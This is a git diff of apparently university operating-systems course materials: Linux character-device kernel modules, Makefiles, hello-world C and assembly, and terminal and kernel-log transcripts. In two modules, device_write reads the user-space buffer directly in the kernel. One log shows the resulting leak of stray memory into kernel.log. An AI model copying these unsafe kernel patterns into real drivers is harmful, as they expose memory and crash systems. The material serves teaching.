taint +Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1. +Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1. +obj-m = hellomod-1.o +obj-m += hellomod-2.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +cassini/home/peter/bo/2021ss/bs/20210430> make +make -C /lib/modules/4.19.0-12-amd64/build M=/home/peter/bo/2021ss/bs/20210430 modules +make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird betreten + CC [M] /home/peter/bo/2021ss/bs/20210430/hellomod-2.o + Building modules, stage 2. + MODPOST 2 modules +WARNING: modpost: missing MODULE_LICENSE() in /home/peter/bo/2021ss/bs/20210430/hellomod-1.o +see include/linux/module.h for more information + CC /home/peter/bo/2021ss/bs/20210430/hellomod-2.mod.o + LD [M] /home/peter/bo/2021ss/bs/20210430/hellomod-2.ko +make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird verlassen +cassini/home/peter/bo/2021ss/bs/20210430> ls -l hellomod-2.* +-rw-r--r-- 1 peter peter 414 Apr 26 2019 hellomod-2.c +-rw-r--r-- 1 peter peter 277800 Apr 30 14:50 hellomod-2.ko +-rw-r--r-- 1 peter peter 790 Apr 30 14:50 hellomod-2.mod.c +-rw-r--r-- 1 peter peter 139912 Apr 30 14:50 hellomod-2.mod.o +-rw-r--r-- 1 peter peter 139416 Apr 30 14:50 hellomod-2.o +cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-2.ko +cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod-2.ko +cassini/home/peter/bo/2021ss/bs/20210430> + +cassini/root# tail -f /var/log/kern.log +Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08 +Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found +Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through +Apr 30 13:16:56 cassini kernel: [1241542.459524] sdb: sdb1 +Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk +Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null) +Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel. +Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel taint +Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1. +Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1. +Apr 30 14:51:18 cassini kernel: [1247204.245245] Hello world 2. +Apr 30 14:51:51 cassini kernel: [1247237.822197] Goodbye world 2. diff --git a/20210430/nix-hello.c b/20210430/nix-hello.c new file mode 100644 index 0000000000000000000000000000000000000000..cc2018703757a875b70c2aa3fd1a104d7e870301 --- /dev/null +++ b/20210430/nix-hello.c @@ -0,0 +1,15 @@ +int main (void) +{ + char *p = (char *) 0xb8000000; + *p++ = 'H'; + *p++ = 0x04; + *p++ = 'e'; + *p++ = 0x02; + *p++ = 'l'; + *p++ = 0x01; + *p++ = 'l'; + *p++ = 0x06; + *p++ = 'o'; + *p++ = 0x03; + return 0; +} diff --git a/20210507/Makefile b/20210507/Makefile new file mode 120000 index 0000000000000000000000000000000000000000..134aa0a7e9fd70818ec2dbee3f7201a161389434 --- /dev/null +++ b/20210507/Makefile @@ -0,0 +1 @@ +Makefile-modules-2 \ No newline at end of file diff --git a/20210507/Makefile-modules-2 b/20210507/Makefile-modules-2 new file mode 100644 index 0000000000000000000000000000000000000000..f9f342647e7b471ae2f4bd105c57fb54f9591136 --- /dev/null +++ b/20210507/Makefile-modules-2 @@ -0,0 +1,9 @@ +obj-m += chardev-1a.o +obj-m += chardev-1b.o +obj-m += chardev-3.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/20210507/attributes-1.txt b/20210507/attributes-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..e6fe61064d159cd088fa3039af59a7ffcf86eb78 --- /dev/null +++ b/20210507/attributes-1.txt @@ -0,0 +1,43 @@ +crw------- 1 root root 10, 137 Apr 6 09:59 vhci +crw------- 1 root root 10, 238 Apr 6 09:59 vhost-net +crw------- 1 root root 10, 241 Apr 6 09:59 vhost-vsock +crw-rw----+ 1 root video 81, 0 Mai 7 10:44 video0 +crw-rw----+ 1 root video 81, 1 Mai 7 10:44 video1 +crw-rw----+ 1 root video 81, 2 Apr 28 23:30 video4 +crw------- 1 root root 10, 130 Apr 6 09:59 watchdog +crw------- 1 root root 248, 0 Apr 6 09:59 watchdog0 +crw-rw-rw- 1 root root 1, 5 Apr 6 09:59 zero +cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev +crw------- 1 root root 241, 0 Mai 7 14:17 /dev/chardev +cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev +cat: /dev/chardev: Keine Berechtigung +cassini/home/peter/bo/2021ss/bs/20210507> sudo chmod 666 /dev/chardev +cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev +crw-rw-rw- 1 root root 241, 0 Mai 7 14:17 /dev/chardev +cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev +I already told you 1 times Hello world! +cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev +I already told you 2 times Hello world! +cassini/home/peter/bo/2021ss/bs/20210507> lsattr /dev/video0 +lsattr: Die Operation wird nicht unterstützt Beim Lesen der Flags von /dev/video0 +cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/video0 +getfacl: Entferne führende '/' von absoluten Pfadnamen +# file: dev/video0 +# owner: root +# group: video +user::rw- +user:peter:rw- +group::rw- +mask::rw- +other::--- + +cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/chardev +getfacl: Entferne führende '/' von absoluten Pfadnamen +# file: dev/chardev +# owner: root +# group: root +user::rw- +group::rw- +other::rw- + +cassini/home/peter/bo/2021ss/bs/20210507> diff --git a/20210507/bs-20210507.txt b/20210507/bs-20210507.txt new file mode 100644 index 0000000000000000000000000000000000000000..cccf426e692b08140a342ad089d1ab9a69a1cab2 --- /dev/null +++ b/20210507/bs-20210507.txt @@ -0,0 +1,11 @@ +Von der Anwendung bis zum Kernel: libc, 07.05.2021, 15:11:00 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +apt-get source libc6 +Datei: stdio-common/printf.c +printf() ruft vfprintf() auf. +Datei: stdio-common/vfprintf.c +vfprintf() ruft printf_positional() auf. +printf_positional() ruft outstring() auf. +outstring() ist ein Präprozessor-Macro. +outstring() ruft PUT() auf - ebenfalls ein Präprozessor-Macro. +PUT() ruft _IO_sputn() auf. --> in anderer Datei diff --git a/20210507/chardev-1a.c b/20210507/chardev-1a.c new file mode 100644 index 0000000000000000000000000000000000000000..291b052b8d200189cb53d09b9234c509f84771ba --- /dev/null +++ b/20210507/chardev-1a.c @@ -0,0 +1,166 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); + printk(KERN_INFO "the driver, create a dev file with\n"); + printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); + printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); + printk(KERN_INFO "the device file.\n"); + printk(KERN_INFO "Remove the device file and module when done.\n"); + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + /* + * Unregister the device + */ + unregister_chrdev(Major, DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_INFO "Got user data: %s.\n", buff); + return len; +} diff --git a/20210507/chardev-1b.c b/20210507/chardev-1b.c new file mode 100644 index 0000000000000000000000000000000000000000..574497cbdc5c931dd2f84279c200eb1c00b0ad04 --- /dev/null +++ b/20210507/chardev-1b.c @@ -0,0 +1,169 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); + printk(KERN_INFO "the driver, create a dev file with\n"); + printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); + printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); + printk(KERN_INFO "the device file.\n"); + printk(KERN_INFO "Remove the device file and module when done.\n"); + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + /* + * Unregister the device + */ + unregister_chrdev(Major, DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + char b[len + 1]; + strncpy (b, buff, len); + b[len] = 0; + printk(KERN_INFO "Got user data: %s.\n", b); + return len; +} diff --git a/20210507/chardev-2.c b/20210507/chardev-2.c new file mode 100644 index 0000000000000000000000000000000000000000..54b8e3f30a580c7896ea18a0e4358059a6c03a48 --- /dev/null +++ b/20210507/chardev-2.c @@ -0,0 +1,183 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/device.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +struct class *dev_Class; +struct device *chr_dev; + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + // Create module class + printk(KERN_INFO "Creating device class LCD...\n"); + dev_Class = class_create(THIS_MODULE,DEVICE_NAME); + if( dev_Class == NULL) + { + printk( KERN_ALERT "Error! Class couldn't be created!\n" ); + return 1 ; + } + printk( KERN_INFO "Class created!\n" ); + // Create device in /dev/... + printk(KERN_INFO "Creating device\n"); + chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME); + + printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); + printk(KERN_INFO "the driver, create a dev file with\n"); + printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); + printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); + printk(KERN_INFO "the device file.\n"); + printk(KERN_INFO "Remove the device file and module when done.\n"); + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + /* + * Unregister the device + */ + unregister_chrdev(Major, DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); + return -EINVAL; +} diff --git a/20210507/chardev-3.c b/20210507/chardev-3.c new file mode 100644 index 0000000000000000000000000000000000000000..516a074f806e3f600009b39ca912bf5ab69e3989 --- /dev/null +++ b/20210507/chardev-3.c @@ -0,0 +1,198 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/device.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +MODULE_LICENSE("GPL"); + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +struct class *dev_Class; +struct device *chr_dev; + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + // Create module class + printk (KERN_INFO "Creating device class \"chardev\" ...\n"); + dev_Class = class_create (THIS_MODULE,DEVICE_NAME); + if( dev_Class == NULL) + { + printk (KERN_ALERT "Error! Class couldn't be created!\n"); + return 1; + } + printk (KERN_INFO "Class created!\n"); + // Create device in /dev/... + printk (KERN_INFO "Creating device\n"); + chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME); + if (chr_dev == NULL) + { + printk( KERN_ALERT "Error! Device couldn't be created!\n" ); + return 1 ; + } + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + printk(KERN_INFO "module chardev-4 cleanup\n"); + //Unregister the device + if (chr_dev) + { + printk(KERN_INFO "Unregister device ...\n"); + device_unregister(chr_dev); + printk(KERN_INFO "OK\n"); + } + + if (dev_Class) + { + printk(KERN_INFO "Unregister class ...\n"); + class_unregister(dev_Class); + printk(KERN_INFO "OK\n"); + } + + printk(KERN_INFO "Unregister Chardev ...\n"); + unregister_chrdev(Major, DEVICE_NAME); + printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); + return -EINVAL; +} diff --git a/20210507/hello-1.c b/20210507/hello-1.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210507/hello-1.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210507/hello-1.s b/20210507/hello-1.s new file mode 100644 index 0000000000000000000000000000000000000000..74d6a369cdbf391e6c0045d41640db9b020d3935 --- /dev/null +++ b/20210507/hello-1.s @@ -0,0 +1,24 @@ + .file "hello-1.c" + .text + .section .rodata.str1.1,"aMS",@progbits,1 +.LC0: + .string "Hello, world!" + .text + .globl main + .type main, @function +main: +.LFB11: + .cfi_startproc # #include <stdio.h> + subq $8, %rsp # + .cfi_def_cfa_offset 16 # int main (void) + leaq .LC0(%rip), %rdi # { + call puts@PLT # printf ("Hello, world!\n"); + movl $0, %eax # return 0; + addq $8, %rsp # } + .cfi_def_cfa_offset 8 + ret + .cfi_endproc +.LFE11: + .size main, .-main + .ident "GCC: (Debian 8.3.0-6) 8.3.0" + .section .note.GNU-stack,"",@progbits diff --git a/20210507/hello-2.c b/20210507/hello-2.c new file mode 100644 index 0000000000000000000000000000000000000000..b767f77cd3a7328e5f45b60e674d32a647386509 --- /dev/null +++ b/20210507/hello-2.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + puts ("Hello, world!"); + return 0; +} diff --git a/20210507/hello-2.s b/20210507/hello-2.s new file mode 100644 index 0000000000000000000000000000000000000000..272bf70d0e982b55523ac1b7ff767b6a6b4e36ac --- /dev/null +++ b/20210507/hello-2.s @@ -0,0 +1,24 @@ + .file "hello-2.c" + .text + .section .rodata.str1.1,"aMS",@progbits,1 +.LC0: + .string "Hello, world!" + .text + .globl main + .type main, @function +main: +.LFB11: + .cfi_startproc + subq $8, %rsp + .cfi_def_cfa_offset 16 + leaq .LC0(%rip), %rdi + call puts@PLT + movl $0, %eax + addq $8, %rsp + .cfi_def_cfa_offset 8 + ret + .cfi_endproc +.LFE11: + .size main, .-main + .ident "GCC: (Debian 8.3.0-6) 8.3.0" + .section .note.GNU-stack,"",@progbits diff --git a/20210507/hello-3.c b/20210507/hello-3.c new file mode 100644 index 0000000000000000000000000000000000000000..e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8 --- /dev/null +++ b/20210507/hello-3.c @@ -0,0 +1,12 @@ +extern int puts (char *s); + +void printf (void) +{ + puts ("Hello, world!"); +} + +int main (void) +{ + printf (); + return 0; +} diff --git a/20210507/modules-5.txt b/20210507/modules-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..c35d087df67701dfa512ab1d9a1f98a80baa519b --- /dev/null +++ b/20210507/modules-5.txt @@ -0,0 +1,8 @@ +cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev +cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden +cassini/home/peter/bo/2021ss/bs/20210430> ls -l dev/chardev +crw-rw-rw- 1 root root 241, 0 Apr 30 15:14 dev/chardev +cassini/home/peter/bo/2021ss/bs/20210430> sudo cat dev/chardev +cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden +cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210507/modules-6.txt b/20210507/modules-6.txt new file mode 100644 index 0000000000000000000000000000000000000000..e96c84006288c46e2ff5ee3b397a81b4db94d374 --- /dev/null +++ b/20210507/modules-6.txt @@ -0,0 +1,40 @@ +cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1a.ko +cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev +chardev_1a 16384 0 +cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev +I already told you 0 times Hello world! +cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev +I already told you 1 times Hello world! +cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev +cassini/home/peter/bo/2021ss/bs/20210430> + + +Inhalt von /var/log/kern.log: + +May 7 12:57:21 cassini kernel: [1601195.178390] I was assigned major number 241. To talk to +May 7 12:57:21 cassini kernel: [1601195.178391] the driver, create a dev file with +May 7 12:57:21 cassini kernel: [1601195.178392] 'mknod /dev/chardev c 241 0'. +May 7 12:57:21 cassini kernel: [1601195.178392] Try various minor numbers. Try to cat and echo to +May 7 12:57:21 cassini kernel: [1601195.178392] the device file. +May 7 12:57:21 cassini kernel: [1601195.178393] Remove the device file and module when done. +May 7 12:57:40 cassini kernel: [1601214.177086] Got user data: Dies ist ein Test. +May 7 12:57:40 cassini kernel: [1601214.177086] ss/bs/20210430 +May 7 12:57:40 cassini kernel: [1601214.177086] indow -P openmeetings https://www.cvh-server.de/vnc/ & +May 7 12:57:40 cassini kernel: [1601214.177086] return +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] esac; +May 7 12:57:40 cassini kernel: [1601214.177086] local complete_opt="--others --modified --directory --no-empty-directory"; +May 7 12:57:40 cassini kernel: [1601214.177086] if test -n "$(__git_find_on_cmdline "-u --update")"; then +May 7 12:57:40 cassini kernel: [1601214.177086] complete_opt="--modified"; +May 7 12:57:40 cassini kernel: [1601214.177086] fi; +May 7 12:57:40 cassini kernel: [1601214.177086] __git_complete_index_file "$complete_opt" +May 7 12:57:40 cassini kernel: [1601214.177086] exclude=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] p) +May 7 12:57:40 cassini kernel: [1601214.177086] vprev=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] w) +May 7 12:57:40 cassini kernel: [1601214.177086] vwords=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] esac; +May 7 12:57:40 cassini kernel: [1601214.177086] done; diff --git a/20210507/modules-7.txt b/20210507/modules-7.txt new file mode 100644 index 0000000000000000000000000000000000000000..43d30622349766288b101f6a13e2748073e60e93 --- /dev/null +++ b/20210507/modules-7.txt @@ -0,0 +1,37 @@ +cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1b.ko +cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev +cassini/home/peter/bo/2021ss/bs/20210430> sudo tail -22 /var/log/kern.log +May 7 12:57:40 cassini kernel: [1601214.177086] if test -n "$(__git_find_on_cmdline "-u --update")"; then +May 7 12:57:40 cassini kernel: [1601214.177086] complete_opt="--modified"; +May 7 12:57:40 cassini kernel: [1601214.177086] fi; +May 7 12:57:40 cassini kernel: [1601214.177086] __git_complete_index_file "$complete_opt" +May 7 12:57:40 cassini kernel: [1601214.177086] exclude=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] p) +May 7 12:57:40 cassini kernel: [1601214.177086] vprev=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 12:57:40 cassini kernel: [1601214.177086] w) +May 7 12:57:40 cassini kernel: [1601214.177086] vwords=$OPTARG +May 7 12:57:40 cassini kernel: [1601214.177086] ;; +May 7 